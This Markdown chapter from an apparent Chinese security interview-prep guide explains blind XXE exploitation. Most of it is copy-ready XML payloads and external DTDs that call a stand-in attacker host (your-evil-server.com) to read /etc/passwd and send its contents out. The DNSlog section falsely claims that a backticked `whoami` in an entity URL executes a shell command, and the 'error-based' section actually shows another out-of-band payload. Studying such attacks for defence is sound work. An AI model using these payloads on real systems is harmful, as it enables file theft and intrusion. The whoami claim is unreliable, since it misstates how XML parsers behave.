Files
Sec-Interview/_book/Chapter11/11-2.md
T
2025-11-08 21:00:06 +08:00

118 lines
3.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
### XXE 盲注思路
**1. 基础的带外请求(OOB**
这是 XXE 盲注最基本的利用方式。我们首先要确认服务器是否存在 XXE 漏洞,即使没有回显
- **攻击步骤:**
1. **准备攻击服务器:** 搭建一个 Web 服务器(例如使用 Python 的 `SimpleHTTPServer`)或利用**DNSlog**平台
2. **构造恶意 XML 实体:**
```xml
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % p1 SYSTEM "http://your-evil-server.com/test">
%p1;
]>
<test></test>
```
3. **发送请求:** 将上述 XML 作为请求体发送到目标服务器
4. **确认存在漏洞:** 如果你的服务器收到了来自目标 IP 的 `GET /test` 请求,就说明服务器存在 XXE 漏洞
**2. 利用带外请求获取文件内容**
确认漏洞存在后,下一步就是尝试读取服务器上的文件
- **攻击步骤:**
1. **构造恶意 DTD 文件:** 在你的攻击服务器上,创建一个 DTD 文件(例如 `evil.dtd`),内容如下:
```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % send SYSTEM "http://your-evil-server.com/?data=%file;">
```
2. **构造主 XML 请求:**
```xml
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % p1 SYSTEM "http://your-evil-server.com/evil.dtd">
%p1;
%send;
]>
<test></test>
```
3. **发送请求:**
- 当服务器解析主 XML 文件时,它会首先请求 `evil.dtd`
- 解析 `evil.dtd` 后,它会读取 `file:///etc/passwd` 的内容,并将其作为 `%file` 实体的值
- 最后,它会请求 `%send` 实体,将文件内容作为 `GET` 参数发送到你的服务器
4. **接收数据:** 你会在你的服务器日志中看到类似 `GET /?data=root:x:0:0:root:/root:/bin/bash...` 的请求,从而获取 `/etc/passwd` 的内容
**3. 利用参数实体获取错误信息**
当无法通过 HTTP GET 请求直接传输数据时,可以利用 XML 解析器的错误信息来带出数据。这种方法通常用于绕过 WAF 或一些过滤
- **攻击步骤:**
1. **构造恶意 DTD 文件:** 在你的服务器上创建 DTD 文件,内容如下:
```xml
<!ENTITY % p1 "
<!ENTITY &#x25; oob SYSTEM 'http://your-evil-server.com/?data=%file;'>
">
```
2. **构造主 XML 请求:**
```xml
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://your-evil-server.com/evil.dtd">
%dtd;
%p1;
%oob;
]>
<root></root>
```
3. **发送请求:**
- 服务器解析主 XML 时,会首先加载 `evil.dtd`
- 然后,它会尝试解析 `%p1`,其中包含 `%oob` 的定义
- 由于 `%oob` 实体引用了 `%file`,而 `%file` 是一个文件内容,当 XML 解析器尝试将其解析为 URL 时,会因为语法错误而失败,并抛出错误信息
- **这种方法的关键在于,某些 XML 解析器会把完整的错误信息(包括外部实体的内容)带回给客户端,或者将其写入服务器日志。** 虽然不能直接从响应中看到,但可以利用这个特性进行注入
**4. 利用 DNSlog 获取数据**
当目标服务器无法出网,或者 HTTP 协议被严格过滤时,DNSlog 是一个非常好的选择
- **攻击步骤:**
1. **准备 DNSlog 平台:** 获取一个 DNSlog 域名,例如 `hacker.dnslog.cn`
2. **构造 XML 请求:**
```xml
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % p1 SYSTEM "http://`whoami`.hacker.dnslog.cn">
%p1;
]>
<test></test>
```
3. **发送请求:**
- 服务器解析 XML 时,会尝试解析 `whoami` 命令的输出,并将其作为子域名,向 `hacker.dnslog.cn` 发起 DNS 查询
4. **查看结果:** 你会在 DNSlog 平台的日志中看到类似 `www-data.hacker.dnslog.cn` 的查询记录,从而获取到 `whoami` 命令的输出